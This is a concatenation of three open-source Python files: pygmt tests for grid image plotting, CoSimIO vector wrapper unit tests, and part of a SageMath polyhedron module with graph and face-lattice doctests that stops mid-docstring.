{"text": "\"\"\"\nTest Figure.grdimage\n\"\"\"\nimport numpy as np\nimport pytest\nimport xarray as xr\n\nfrom .. import Figure\nfrom ..datasets import load_earth_relief\nfrom ..exceptions import GMTInvalidInput\nfrom ..helpers.testing import check_figures_equal\n\n\n@pytest.fixture(scope=\"module\", name=\"grid\")\ndef fixture_grid():\n    \"Load the grid data from the sample earth_relief file\"\n    return load_earth_relief(registration=\"gridline\")\n\n\n@pytest.fixture(scope=\"module\", name=\"xrgrid\")\ndef fixture_xrgrid():\n    \"\"\"\n    Create a sample xarray.DataArray grid for testing\n    \"\"\"\n    longitude = np.arange(0, 360, 1)\n    latitude = np.arange(-89, 90, 1)\n    x = np.sin(np.deg2rad(longitude))\n    y = np.linspace(start=0, stop=1, num=179)\n    data = y[:, np.newaxis] * x\n\n    return xr.DataArray(\n        data,\n        coords=[\n            (\"latitude\", latitude, {\"units\": \"degrees_north\"}),\n            (\"longitude\", longitude, {\"units\": \"degrees_east\"}),\n        ],\n        attrs={\"actual_range\": [-1, 1]},\n    )\n\n\n@pytest.mark.mpl_image_compare\ndef test_grdimage(grid):\n    \"Plot an image using an xarray grid\"\n    fig = Figure()\n    fig.grdimage(grid, cmap=\"earth\", projection=\"W0/6i\")\n    return fig\n\n\n@pytest.mark.mpl_image_compare\ndef test_grdimage_slice(grid):\n    \"Plot an image using an xarray grid that has been sliced\"\n    grid_ = grid.sel(lat=slice(-30, 30))\n    fig = Figure()\n    fig.grdimage(grid_, cmap=\"earth\", projection=\"M6i\")\n    return fig\n\n\n@pytest.mark.mpl_image_compare\ndef test_grdimage_file():\n    \"Plot an image using file input\"\n    fig = Figure()\n    fig.grdimage(\n        \"@earth_relief_01d_g\",\n        cmap=\"ocean\",\n        region=[-180, 180, -70, 70],\n        projection=\"W0/10i\",\n        shading=True,\n    )\n    return fig\n\n\n@pytest.mark.xfail(reason=\"Upstream bug in GMT 6.1.1\")\n@check_figures_equal()\ndef test_grdimage_xarray_shading(grid, fig_ref, fig_test):\n    \"\"\"\n    Test that shading works well for xarray.\n    See https://github.com/GenericMappingTools/pygmt/issues/364\n    \"\"\"\n    fig_ref, fig_test = Figure(), Figure()\n    kwargs = dict(\n        region=[-180, 180, -90, 90],\n        frame=True,\n        projection=\"Cyl_stere/6i\",\n        cmap=\"geo\",\n        shading=True,\n    )\n\n    fig_ref.grdimage(\"@earth_relief_01d_g\", **kwargs)\n    fig_test.grdimage(grid, **kwargs)\n    return fig_ref, fig_test\n\n\ndef test_grdimage_fails():\n    \"Should fail for unrecognized input\"\n    fig = Figure()\n    with pytest.raises(GMTInvalidInput):\n        fig.grdimage(np.arange(20).reshape((4, 5)))\n\n\n@pytest.mark.mpl_image_compare\ndef test_grdimage_over_dateline(xrgrid):\n    \"\"\"\n    Ensure no gaps are plotted over the 180 degree international dateline.\n    Specifically checking that `xrgrid.gmt.gtype = 1` sets `GMT_GRID_IS_GEO`,\n    and that `xrgrid.gmt.registration = 0` sets `GMT_GRID_NODE_REG`. Note that\n    there would be a gap over the dateline if a pixel registered grid is used.\n    See also https://github.com/GenericMappingTools/pygmt/issues/375.\n    \"\"\"\n    fig = Figure()\n    assert xrgrid.gmt.registration == 0  # gridline registration\n    xrgrid.gmt.gtype = 1  # geographic coordinate system\n    fig.grdimage(grid=xrgrid, region=\"g\", projection=\"A0/0/1c\", V=\"i\")\n    return fig\n\n\n@check_figures_equal()\n@pytest.mark.parametrize(\"lon0\", [0, 123, 180])\n@pytest.mark.parametrize(\"proj_type\", [\"H\", \"W\"])\ndef test_grdimage_central_meridians(grid, proj_type, lon0):\n    \"\"\"\n    Test that plotting a grid with different central meridians (lon0) using\n    Hammer (H) and Mollweide (W) projection systems work.\n    \"\"\"\n    fig_ref, fig_test = Figure(), Figure()\n    fig_ref.grdimage(\n        \"@earth_relief_01d_g\", projection=f\"{proj_type}{lon0}/15c\", cmap=\"geo\"\n    )\n    fig_test.grdimage(grid, projection=f\"{proj_type}{lon0}/15c\", cmap=\"geo\")\n    return fig_ref, fig_test\n\n\n# Cylindrical Equidistant (Q) projections plotted with xarray and NetCDF grids\n# are still slightly different with an RMS error of 25, see issue at\n# https://github.com/GenericMappingTools/pygmt/issues/390\n# TO-DO remove tol=1.5 and pytest.mark.xfail once bug is solved in upstream GMT\n@check_figures_equal(tol=1.5)\n@pytest.mark.parametrize(\"lat0\", [0, 30])\n@pytest.mark.parametrize(\"lon0\", [0, 123, 180])\n@pytest.mark.parametrize(\"proj_type\", [pytest.param(\"Q\", marks=pytest.mark.xfail), \"S\"])\ndef test_grdimage_central_meridians_and_standard_parallels(grid, proj_type, lon0, lat0):\n    \"\"\"\n    Test that plotting a grid with different central meridians (lon0) and\n    standard_parallels (lat0) using Cylindrical Equidistant (Q) and General\n    Stereographic (S) projection systems work.\n    \"\"\"\n    fig_ref, fig_test = Figure(), Figure()\n    fig_ref.grdimage(\n        \"@earth_relief_01d_g\", projection=f\"{proj_type}{lon0}/{lat0}/15c\", cmap=\"geo\"\n    )\n    fig_test.grdimage(grid, projection=f\"{proj_type}{lon0}/{lat0}/15c\", cmap=\"geo\")\n    return fig_ref, fig_test\n", "meta": {"hexsha": "d86798178f32000f6f0434bf57f6b765801b4e2a", "size": 4860, "ext": "py", "lang": "Python", "max_stars_repo_path": "pygmt/tests/test_grdimage.py", "max_stars_repo_name": "carocamargo/pygmt", "max_stars_repo_head_hexsha": "6139c1735cff7f7d615d243145c21b1efef3f2c6", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "pygmt/tests/test_grdimage.py", "max_issues_repo_name": "carocamargo/pygmt", "max_issues_repo_head_hexsha": "6139c1735cff7f7d615d243145c21b1efef3f2c6", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "pygmt/tests/test_grdimage.py", "max_forks_repo_name": "carocamargo/pygmt", "max_forks_repo_head_hexsha": "6139c1735cff7f7d615d243145c21b1efef3f2c6", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 31.9736842105, "max_line_length": 88, "alphanum_fraction": 0.6808641975, "include": true, "reason": "import numpy", "num_tokens": 1336, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4301473485858429, "lm_q2_score": 0.1311732203653401, "lm_q1q2_score": 0.05642381294561754}}
{"text": "#     ______     _____ _           ________\n#    / ____/___ / ___/(_)___ ___  /  _/ __ |\n#   / /   / __ \\\\__ \\/ / __ `__ \\ / // / / /\n#  / /___/ /_/ /__/ / / / / / / // // /_/ /\n#  \\____/\\____/____/_/_/ /_/ /_/___/\\____/\n#  Kratos CoSimulationApplication\n#\n#  License:         BSD License, see license.txt\n#\n#  Main authors:    Philipp Bucher (https://github.com/philbucher)\n#\n\n# tests for the python exposure of CoSimIO::Vector\n# (which is a small python wrapper fro std::vector<double>)\n\n# python imports\nimport unittest\nfrom abc import ABCMeta, abstractmethod\n\ntry:\n    import numpy as np\n    numpy_available = True\nexcept:\n    numpy_available = False\n\nimport CoSimIO\n\n\nclass CoSimIO_Vector:\n    class BaseTests(unittest.TestCase, metaclass=ABCMeta):\n        maxDiff = None # to display all the diff\n        @abstractmethod\n        def _CreateVector(self, *args): pass\n\n        def test_basics(self):\n            vec = self._CreateVector()\n            self.assertEqual(vec.size(), 0)\n            self.assertEqual(len(vec), 0)\n\n            vec.append(15)\n            self.assertEqual(vec.size(), 1)\n            self.assertEqual(len(vec), 1)\n            self.assertAlmostEqual(vec[0], 15)\n\n            vec.append(-3)\n            self.assertEqual(vec.size(), 2)\n            self.assertEqual(len(vec), 2)\n            self.assertAlmostEqual(vec[0], 15)\n            self.assertAlmostEqual(vec[1], -3)\n\n        def test_resize(self):\n            vec = self._CreateVector()\n            self.assertEqual(vec.size(), 0)\n\n            vec.resize(10)\n            self.assertEqual(vec.size(), 10)\n\n            vec.resize(5)\n            self.assertEqual(vec.size(), 5)\n\n            vec.resize(23)\n            self.assertEqual(vec.size(), 23)\n\n        def test_iterators(self):\n            vec = self._CreateVector()\n            for i in range(10):\n                vec.append(i)\n\n            self.assertEqual(vec.size(), 10)\n\n            counter = 0\n            for i, v in enumerate(vec):\n                self.assertAlmostEqual(i,v)\n                counter += 1\n            self.assertEqual(counter, 10)\n\n            # check for after resize to smaller and larger\n            counter = 0\n            vec.resize(5)\n            for i, v in enumerate(vec):\n                self.assertAlmostEqual(i,v)\n                counter += 1\n            self.assertEqual(counter, 5)\n\n            counter = 0\n            vec.resize(23)\n            for i, v in enumerate(vec):\n                counter += 1\n\n            self.assertEqual(counter, 23)\n\n        def test_copy_constructor(self):\n            vec = self._CreateVector()\n            for i in range(10):\n                vec.append(i)\n\n            vec_copy = self._CreateVector(vec)\n\n            self.assertEqual(vec.size(), vec_copy.size())\n            for v, v_c in zip(vec, vec_copy):\n                self.assertAlmostEqual(v, v_c)\n\n            # make sure that it is a deep and not a shallow copy\n            vec[0] = 123456\n            self.assertAlmostEqual(vec_copy[0], 0) # copy is unchanged\n\n            vec.resize(5)\n            self.assertEqual(vec_copy.size(), 10)\n\n        def test_construction_from_list(self):\n            init_list = [1, 2, 3, -4, 17]\n\n            vec = self._CreateVector(init_list)\n            self.assertEqual(vec.size(), len(init_list))\n\n            for l, v in zip(init_list, vec):\n                self.assertAlmostEqual(l,v)\n\n\nclass CoSimIO_DoubleVector(CoSimIO_Vector.BaseTests):\n    def _CreateVector(self, *args):\n        return CoSimIO.DoubleVector(*args)\n\n    def test_print(self):\n        vec = self._CreateVector([1.2, 2.5, 3.3, -4.1, 17])\n\n        self.assertMultiLineEqual(str(vec), \"[1.2, 2.5, 3.3, -4.1, 17]\")\n\n    def test_doubles(self):\n        # general tests are done with ints, hence explicitly checking with doubles\n        vec = self._CreateVector()\n        for i in range(10):\n            vec.append(i*1.5)\n\n        self.assertEqual(vec.size(), 10)\n\n        for i in range(10):\n            self.assertAlmostEqual(vec[i], i*1.5)\n\n    @unittest.skipUnless(numpy_available, \"this test requries numpy\")\n    def test_construction_from_numpy_array(self):\n        arr = np.array([1.1,2.2,-3.2,4,5,6.78,7,8.78,9], dtype=np.double)\n\n        vec = self._CreateVector(arr)\n        self.assertEqual(vec.size(), arr.size)\n\n        for a, v in zip(arr, vec):\n            self.assertAlmostEqual(a,v)\n\nclass CoSimIO_IntVector(CoSimIO_Vector.BaseTests):\n    def _CreateVector(self, *args):\n        return CoSimIO.IntVector(*args)\n\n    def test_print(self):\n        vec = self._CreateVector([1, 2, 3, -4, 17])\n\n        self.assertMultiLineEqual(str(vec), \"[1, 2, 3, -4, 17]\")\n\n    @unittest.skipUnless(numpy_available, \"this test requries numpy\")\n    def test_construction_from_numpy_array(self):\n        arr = np.array([10,2,-3,4,5,6,7,8,9], dtype=np.intc)\n\n        vec = self._CreateVector(arr)\n        self.assertEqual(vec.size(), arr.size)\n\n        for a, v in zip(arr, vec):\n            self.assertEqual(a,v)\n\n\nif __name__ == '__main__':\n    unittest.main()\n", "meta": {"hexsha": "f34ace7a63fd2b8442d493f00c2b91ba631d248b", "size": 5030, "ext": "py", "lang": "Python", "max_stars_repo_path": "tests/co_sim_io/python/test_vector.py", "max_stars_repo_name": "KratosMultiphysics/CoSimIO", "max_stars_repo_head_hexsha": "cb4578dc338a3215d377e03d9f7cea007c87bfd6", "max_stars_repo_licenses": ["BSD-4-Clause"], "max_stars_count": 15, "max_stars_repo_stars_event_min_datetime": "2020-04-17T17:25:47.000Z", "max_stars_repo_stars_event_max_datetime": "2022-02-02T09:28:56.000Z", "max_issues_repo_path": "tests/co_sim_io/python/test_vector.py", "max_issues_repo_name": "KratosMultiphysics/CoSimIO", "max_issues_repo_head_hexsha": "cb4578dc338a3215d377e03d9f7cea007c87bfd6", "max_issues_repo_licenses": ["BSD-4-Clause"], "max_issues_count": 84, "max_issues_repo_issues_event_min_datetime": "2020-04-29T17:22:04.000Z", "max_issues_repo_issues_event_max_datetime": "2022-02-14T12:24:59.000Z", "max_forks_repo_path": "tests/co_sim_io/python/test_vector.py", "max_forks_repo_name": "KratosMultiphysics/CoSimIO", "max_forks_repo_head_hexsha": "cb4578dc338a3215d377e03d9f7cea007c87bfd6", "max_forks_repo_licenses": ["BSD-4-Clause"], "max_forks_count": 2, "max_forks_repo_forks_event_min_datetime": "2021-03-02T04:15:05.000Z", "max_forks_repo_forks_event_max_datetime": "2022-01-15T11:59:22.000Z", "avg_line_length": 29.2441860465, "max_line_length": 82, "alphanum_fraction": 0.5644135189, "include": true, "reason": "import numpy", "num_tokens": 1244, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4416729909662417, "lm_q2_score": 0.12765263029985593, "lm_q1q2_score": 0.05638071902924526}}
{"text": "# sage.doctest: optional - sage.graphs\nr\"\"\"\nBase class for polyhedra, part 4\n\nDefine methods relying on :mod:`sage.graphs`.\n\"\"\"\n\n# ****************************************************************************\n#       Copyright (C) 2008-2012 Marshall Hampton <hamptonio@gmail.com>\n#       Copyright (C) 2011-2015 Volker Braun <vbraun.name@gmail.com>\n#       Copyright (C) 2012-2018 Frederic Chapoton\n#       Copyright (C) 2013      Andrey Novoseltsev\n#       Copyright (C) 2014-2017 Moritz Firsching\n#       Copyright (C) 2014-2019 Thierry Monteil\n#       Copyright (C) 2015      Nathann Cohen\n#       Copyright (C) 2015-2017 Jeroen Demeyer\n#       Copyright (C) 2015-2017 Vincent Delecroix\n#       Copyright (C) 2015-2018 Dima Pasechnik\n#       Copyright (C) 2015-2020 Jean-Philippe Labbe <labbe at math.huji.ac.il>\n#       Copyright (C) 2015-2021 Matthias Koeppe\n#       Copyright (C) 2016-2019 Daniel Krenn\n#       Copyright (C) 2017      Marcelo Forets\n#       Copyright (C) 2017-2018 Mark Bell\n#       Copyright (C) 2019      Julian Ritter\n#       Copyright (C) 2019-2020 Laith Rastanawi\n#       Copyright (C) 2019-2020 Sophia Elia\n#       Copyright (C) 2019-2021 Jonathan Kliem <jonathan.kliem@fu-berlin.de>\n#\n# This program is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 2 of the License, or\n# (at your option) any later version.\n#                  https://www.gnu.org/licenses/\n# ****************************************************************************\n\nfrom sage.misc.cachefunc import cached_method\nfrom .base3 import Polyhedron_base3\n\nclass Polyhedron_base4(Polyhedron_base3):\n    \"\"\"\n    Methods relying on :mod:`sage.graphs`.\n\n    See :class:`sage.geometry.polyhedron.base.Polyhedron_base`.\n\n    TESTS::\n\n        sage: from sage.geometry.polyhedron.base4 import Polyhedron_base4\n        sage: P = polytopes.cube()\n        sage: Polyhedron_base4.vertex_facet_graph.f(P)\n        Digraph on 14 vertices\n        sage: Polyhedron_base4.vertex_graph(P)\n        Graph on 8 vertices\n        sage: Polyhedron_base4.face_lattice(P)\n        Finite lattice containing 28 elements\n        sage: Polyhedron_base4.flag_f_vector(P, 0, 2)\n        24\n        sage: Polyhedron_base4.is_self_dual(P)\n        False\n        sage: Q = polytopes.cube(intervals='zero_one')\n        sage: P == Q\n        False\n        sage: Polyhedron_base4.is_combinatorially_isomorphic(P, Q)\n        True\n    \"\"\"\n\n    @cached_method\n    def vertex_facet_graph(self, labels=True):\n        r\"\"\"\n        Return the vertex-facet graph.\n\n        This function constructs a directed bipartite graph.\n        The nodes of the graph correspond to the vertices of the polyhedron\n        and the facets of the polyhedron. There is an directed edge\n        from a vertex to a face if and only if the vertex is incident to the face.\n\n        INPUT:\n\n        - ``labels`` -- boolean (default: ``True``); decide how the nodes\n          of the graph are labelled. Either with the original vertices/facets\n          of the Polyhedron or with integers.\n\n        OUTPUT:\n\n        - a bipartite DiGraph. If ``labels`` is ``True``, then the nodes\n          of the graph will actually be the vertices and facets of ``self``,\n          otherwise they will be integers.\n\n        .. SEEALSO::\n\n            :meth:`combinatorial_automorphism_group`,\n            :meth:`is_combinatorially_isomorphic`.\n\n        EXAMPLES::\n\n            sage: P = polytopes.cube()\n            sage: G = P.vertex_facet_graph(); G\n            Digraph on 14 vertices\n            sage: G.vertices(key = lambda v: str(v))\n            [A vertex at (-1, -1, -1),\n             A vertex at (-1, -1, 1),\n             A vertex at (-1, 1, -1),\n             A vertex at (-1, 1, 1),\n             A vertex at (1, -1, -1),\n             A vertex at (1, -1, 1),\n             A vertex at (1, 1, -1),\n             A vertex at (1, 1, 1),\n             An inequality (-1, 0, 0) x + 1 >= 0,\n             An inequality (0, -1, 0) x + 1 >= 0,\n             An inequality (0, 0, -1) x + 1 >= 0,\n             An inequality (0, 0, 1) x + 1 >= 0,\n             An inequality (0, 1, 0) x + 1 >= 0,\n             An inequality (1, 0, 0) x + 1 >= 0]\n            sage: G.automorphism_group().is_isomorphic(P.hasse_diagram().automorphism_group())\n            True\n            sage: O = polytopes.octahedron(); O\n            A 3-dimensional polyhedron in ZZ^3 defined as the convex hull of 6 vertices\n            sage: O.vertex_facet_graph()\n            Digraph on 14 vertices\n            sage: H = O.vertex_facet_graph()\n            sage: G.is_isomorphic(H)\n            False\n            sage: G2 = copy(G)\n            sage: G2.reverse_edges(G2.edges())\n            sage: G2.is_isomorphic(H)\n            True\n\n        TESTS:\n\n        Check that :trac:`28828` is fixed::\n\n            sage: G._immutable\n            True\n\n        Check that :trac:`29188` is fixed::\n\n            sage: P = polytopes.cube()\n            sage: P.vertex_facet_graph().is_isomorphic(P.vertex_facet_graph(False))\n            True\n        \"\"\"\n        return self.combinatorial_polyhedron().vertex_facet_graph(names=labels)\n\n    def vertex_graph(self, **kwds):\n        \"\"\"\n        Return a graph in which the vertices correspond to vertices\n        of the polyhedron, and edges to edges.\n\n        INPUT:\n\n        - ``names`` -- boolean (default: ``True``); if ``False``,\n          then the nodes of the graph are labeld by the\n          indices of the Vrepresentation\n\n        - ``algorithm`` -- string (optional);\n          specify whether the face generator starts with facets or vertices:\n          * ``'primal'`` -- start with the facets\n          * ``'dual'`` -- start with the vertices\n          * ``None`` -- choose automatically\n\n        ..NOTE::\n\n            The graph of a polyhedron with lines has no vertices,\n            as the polyhedron has no vertices (`0`-faces).\n\n            The method :meth:`Polyhedron_base:vertices` returns\n            the defining points in this case.\n\n        EXAMPLES::\n\n            sage: g3 = polytopes.hypercube(3).vertex_graph(); g3\n            Graph on 8 vertices\n            sage: g3.automorphism_group().cardinality()\n            48\n            sage: s4 = polytopes.simplex(4).vertex_graph(); s4\n            Graph on 5 vertices\n            sage: s4.is_eulerian()\n            True\n\n        The graph of an unbounded polyhedron\n        is the graph of the bounded complex::\n\n            sage: open_triangle = Polyhedron(vertices=[[1,0], [0,1]],\n            ....:                            rays    =[[1,1]])\n            sage: open_triangle.vertex_graph()\n            Graph on 2 vertices\n\n        The graph of a polyhedron with lines has no vertices::\n\n            sage: line = Polyhedron(lines=[[0,1]])\n            sage: line.vertex_graph()\n            Graph on 0 vertices\n\n        TESTS:\n\n        Check for a line segment (:trac:`30545`)::\n\n            sage: polytopes.simplex(1).graph().edges()\n            [(A vertex at (0, 1), A vertex at (1, 0), None)]\n        \"\"\"\n        return self.combinatorial_polyhedron().vertex_graph(**kwds)\n\n    graph = vertex_graph\n\n    def vertex_digraph(self, f, increasing=True):\n        r\"\"\"\n        Return the directed graph of the polyhedron according to a linear form.\n\n        The underlying undirected graph is the graph of vertices and edges.\n\n        INPUT:\n\n        - ``f`` -- a linear form. The linear form can be provided as:\n\n            - a vector space morphism with one-dimensional codomain, (see\n              :meth:`sage.modules.vector_space_morphism.linear_transformation`\n              and\n              :class:`sage.modules.vector_space_morphism.VectorSpaceMorphism`)\n            - a vector ; in this case the linear form is obtained by duality\n              using the dot product: ``f(v) = v.dot_product(f)``.\n\n        - ``increasing`` -- boolean (default ``True``) whether to orient\n          edges in the increasing or decreasing direction.\n\n        By default, an edge is oriented from `v` to `w` if\n        `f(v) \\leq f(w)`.\n\n        If `f(v)=f(w)`, then two opposite edges are created.\n\n        EXAMPLES::\n\n            sage: penta = Polyhedron([[0,0],[1,0],[0,1],[1,2],[3,2]])\n            sage: G = penta.vertex_digraph(vector([1,1])); G\n            Digraph on 5 vertices\n            sage: G.sinks()\n            [A vertex at (3, 2)]\n\n            sage: A = matrix(ZZ, [[1], [-1]])\n            sage: f = linear_transformation(A)\n            sage: G = penta.vertex_digraph(f) ; G\n            Digraph on 5 vertices\n            sage: G.is_directed_acyclic()\n            False\n\n        .. SEEALSO::\n\n            :meth:`vertex_graph`\n        \"\"\"\n        from sage.modules.vector_space_morphism import VectorSpaceMorphism\n        if isinstance(f, VectorSpaceMorphism):\n            if f.codomain().dimension() == 1:\n                orientation_check = lambda v: f(v) >= 0\n            else:\n                raise TypeError('the linear map f must have '\n                                'one-dimensional codomain')\n        else:\n            try:\n                if f.is_vector():\n                    orientation_check = lambda v: v.dot_product(f) >= 0\n                else:\n                    raise TypeError('f must be a linear map or a vector')\n            except AttributeError:\n                raise TypeError('f must be a linear map or a vector')\n        if not increasing:\n            f = -f\n        from sage.graphs.digraph import DiGraph\n        dg = DiGraph()\n        for j in range(self.n_vertices()):\n            vj = self.Vrepresentation(j)\n            for vi in vj.neighbors():\n                if orientation_check(vj.vector() - vi.vector()):\n                    dg.add_edge(vi, vj)\n        return dg\n\n    def face_lattice(self):\n        \"\"\"\n        Return the face-lattice poset.\n\n        OUTPUT:\n\n        A :class:`~sage.combinat.posets.posets.FinitePoset`. Elements\n        are given as\n        :class:`~sage.geometry.polyhedron.face.PolyhedronFace`.\n\n        In the case of a full-dimensional polytope, the faces are\n        pairs (vertices, inequalities) of the spanning vertices and\n        corresponding saturated inequalities. In general, a face is\n        defined by a pair (V-rep. objects, H-rep. objects). The\n        V-representation objects span the face, and the corresponding\n        H-representation objects are those inequalities and equations\n        that are saturated on the face.\n\n        The bottom-most element of the face lattice is the \"empty\n        face\". It contains no V-representation object. All\n        H-representation objects are incident.\n\n        The top-most element is the \"full face\". It is spanned by all\n        V-representation objects. The incident H-representation\n        objects are all equations and no inequalities.\n\n        In the case of a full-dimensional polytope, the \"empty face\"\n        and the \"full face\" are the empty set (no vertices, all\n        inequalities) and the full polytope (all vertices, no\n        inequalities), respectively.\n\n        ALGORITHM:\n\n        See :mod:`sage.geometry.polyhedron.combinatorial_polyhedron.face_iterator`.\n\n        .. NOTE::\n\n            The face lattice is not cached, as long as this creates a memory leak, see :trac:`28982`.\n\n        EXAMPLES::\n\n            sage: square = polytopes.hypercube(2)\n            sage: fl = square.face_lattice();fl\n            Finite lattice containing 10 elements\n            sage: list(f.ambient_V_indices() for f in fl)\n            [(), (0,), (1,), (0, 1), (2,), (1, 2), (3,), (0, 3), (2, 3), (0, 1, 2, 3)]\n            sage: poset_element = fl[5]\n            sage: a_face = poset_element\n            sage: a_face\n            A 1-dimensional face of a Polyhedron in ZZ^2 defined as the convex hull of 2 vertices\n            sage: a_face.ambient_V_indices()\n            (1, 2)\n            sage: set(a_face.ambient_Vrepresentation()) == \\\n            ....: set([square.Vrepresentation(1), square.Vrepresentation(2)])\n            True\n            sage: a_face.ambient_Vrepresentation()\n            (A vertex at (1, 1), A vertex at (-1, 1))\n            sage: a_face.ambient_Hrepresentation()\n            (An inequality (0, -1) x + 1 >= 0,)\n\n        A more complicated example::\n\n            sage: c5_10 = Polyhedron(vertices = [[i,i^2,i^3,i^4,i^5] for i in range(1,11)])\n            sage: c5_10_fl = c5_10.face_lattice()\n            sage: [len(x) for x in c5_10_fl.level_sets()]\n            [1, 10, 45, 100, 105, 42, 1]\n\n        Note that if the polyhedron contains lines then there is a\n        dimension gap between the empty face and the first non-empty\n        face in the face lattice::\n\n            sage: line = Polyhedron(vertices=[(0,)], lines=[(1,)])\n            sage: [ fl.dim() for fl in line.face_lattice() ]\n            [-1, 1]\n\n        TESTS::\n\n            sage: c5_20 = Polyhedron(vertices = [[i,i^2,i^3,i^4,i^5]\n            ....:     for i in range(1,21)])\n            sage: c5_20_fl = c5_20.face_lattice() # long time\n            sage: [len(x) for x in c5_20_fl.level_sets()] # long time\n            [1, 20, 190, 580, 680, 272, 1]\n            sage: polytopes.hypercube(2).face_lattice().plot()  # optional - sage.plot\n            Graphics object consisting of 27 graphics primitives\n            sage: level_sets = polytopes.cross_polytope(2).face_lattice().level_sets()\n            sage: level_sets[0][0].ambient_V_indices(), level_sets[-1][0].ambient_V_indices()\n            ((), (0, 1, 2, 3))\n\n        Various degenerate polyhedra::\n\n            sage: [[ls.ambient_V_indices() for ls in lss] for lss in Polyhedron(vertices=[[0,0,0],[1,0,0],[0,1,0]]).face_lattice().level_sets()]\n            [[()], [(0,), (1,), (2,)], [(0, 1), (0, 2), (1, 2)], [(0, 1, 2)]]\n            sage: [[ls.ambient_V_indices() for ls in lss] for lss in Polyhedron(vertices=[(1,0,0),(0,1,0)], rays=[(0,0,1)]).face_lattice().level_sets()]\n            [[()], [(1,), (2,)], [(0, 1), (0, 2), (1, 2)], [(0, 1, 2)]]\n            sage: [[ls.ambient_V_indices() for ls in lss] for lss in Polyhedron(rays=[(1,0,0),(0,1,0)], vertices=[(0,0,1)]).face_lattice().level_sets()]\n            [[()], [(0,)], [(0, 1), (0, 2)], [(0, 1, 2)]]\n            sage: [[ls.ambient_V_indices() for ls in lss] for lss in Polyhedron(rays=[(1,0),(0,1)], vertices=[(0,0)]).face_lattice().level_sets()]\n            [[()], [(0,)], [(0, 1), (0, 2)], [(0, 1, 2)]]\n            sage: [[ls.ambient_V_indices() for ls in lss] for lss in Polyhedron(vertices=[(1,),(0,)]).face_lattice().level_sets()]\n            [[()], [(0,), (1,)], [(0, 1)]]\n            sage: [[ls.ambient_V_indices() for ls in lss] for lss in Polyhedron(vertices=[(1,0,0),(0,1,0)], lines=[(0,0,1)]).face_lattice().level_sets()]\n            [[()], [(0, 1), (0, 2)], [(0, 1, 2)]]\n            sage: [[ls.ambient_V_indices() for ls in lss] for lss in Polyhedron(lines=[(1,0,0)], vertices=[(0,0,1)]).face_lattice().level_sets()]\n            [[()], [(0, 1)]]\n            sage: [[ls.ambient_V_indices() for ls in lss] for lss in Polyhedron(lines=[(1,0),(0,1)], vertices=[(0,0)]).face_lattice().level_sets()]\n            [[()], [(0, 1, 2)]]\n            sage: [[ls.ambient_V_indices() for ls in lss] for lss in Polyhedron(lines=[(1,0)], rays=[(0,1)], vertices=[(0,0)]).face_lattice().level_sets()]\n            [[()], [(0, 1)], [(0, 1, 2)]]\n            sage: [[ls.ambient_V_indices() for ls in lss] for lss in Polyhedron(vertices=[(0,)], lines=[(1,)]).face_lattice().level_sets()]\n            [[()], [(0, 1)]]\n            sage: [[ls.ambient_V_indices() for ls in lss] for lss in Polyhedron(lines=[(1,0)], vertices=[(0,0)]).face_lattice().level_sets()]\n            [[()], [(0, 1)]]\n\n        \"\"\"\n        from sage.combinat.posets.lattices import FiniteLatticePoset\n        return FiniteLatticePoset(self.hasse_diagram())\n\n    @cached_method\n    def hasse_diagram(self):\n        r\"\"\"\n        Return the Hasse diagram of the face lattice of ``self``.\n\n        This is the Hasse diagram of the poset of the faces of ``self``.\n\n        OUTPUT: a directed graph\n\n        EXAMPLES::\n\n            sage: P = polytopes.regular_polygon(4).pyramid()                    # optional - sage.rings.number_field\n            sage: D = P.hasse_diagram(); D                                      # optional - sage.rings.number_field\n            Digraph on 20 vertices\n            sage: D.degree_polynomial()                                         # optional - sage.rings.number_field\n            x^5 + x^4*y + x*y^4 + y^5 + 4*x^3*y + 8*x^2*y^2 + 4*x*y^3\n\n        Faces of an mutable polyhedron are not hashable. Hence those are not suitable as\n        vertices of the hasse diagram. Use the combinatorial polyhedron instead::\n\n            sage: P = polytopes.regular_polygon(4).pyramid()                    # optional - sage.rings.number_field\n            sage: parent = P.parent()                                           # optional - sage.rings.number_field\n            sage: parent = parent.change_ring(QQ, backend='ppl')                # optional - sage.rings.number_field\n            sage: Q = parent._element_constructor_(P, mutable=True)             # optional - sage.rings.number_field\n            sage: Q.hasse_diagram()                                             # optional - sage.rings.number_field\n            Traceback (most recent call last):\n            ...\n            TypeError: mutable polyhedra are unhashable\n            sage: C = Q.combinatorial_polyhedron()                              # optional - sage.rings.number_field\n            sage: D = C.hasse_diagram()                                         # optional - sage.rings.number_field\n            sage: set(D.vertices()) == set(range(20))                           # optional - sage.rings.number_field\n            True\n            sage: def index_to_combinatorial_face(n):\n            ....:     return C.face_by_face_lattice_index(n)\n            sage: D.relabel(index_to_combinatorial_face, inplace=True)          # optional - sage.rings.number_field\n            sage: D.vertices()                                                  # optional - sage.rings.number_field\n            [A -1-dimensional face of a 3-dimensional combinatorial polyhedron,\n             A 0-dimensional face of a 3-dimensional combinatorial polyhedron,\n             A 0-dimensional face of a 3-dimensional combinatorial polyhedron,\n             A 0-dimensional face of a 3-dimensional combinatorial polyhedron,\n             A 0-dimensional face of a 3-dimensional combinatorial polyhedron,\n             A 0-dimensional face of a 3-dimensional combinatorial polyhedron,\n             A 1-dimensional face of a 3-dimensional combinatorial polyhedron,\n             A 1-dimensional face of a 3-dimensional combinatorial polyhedron,\n             A 1-dimensional face of a 3-dimensional combinatorial polyhedron,\n             A 1-dimensional face of a 3-dimensional combinatorial polyhedron,\n             A 1-dimensional face of a 3-dimensional combinatorial polyhedron,\n             A 1-dimensional face of a 3-dimensional combinatorial polyhedron,\n             A 1-dimensional face of a 3-dimensional combinatorial polyhedron,\n             A 1-dimensional face of a 3-dimensional combinatorial polyhedron,\n             A 2-dimensional face of a 3-dimensional combinatorial polyhedron,\n             A 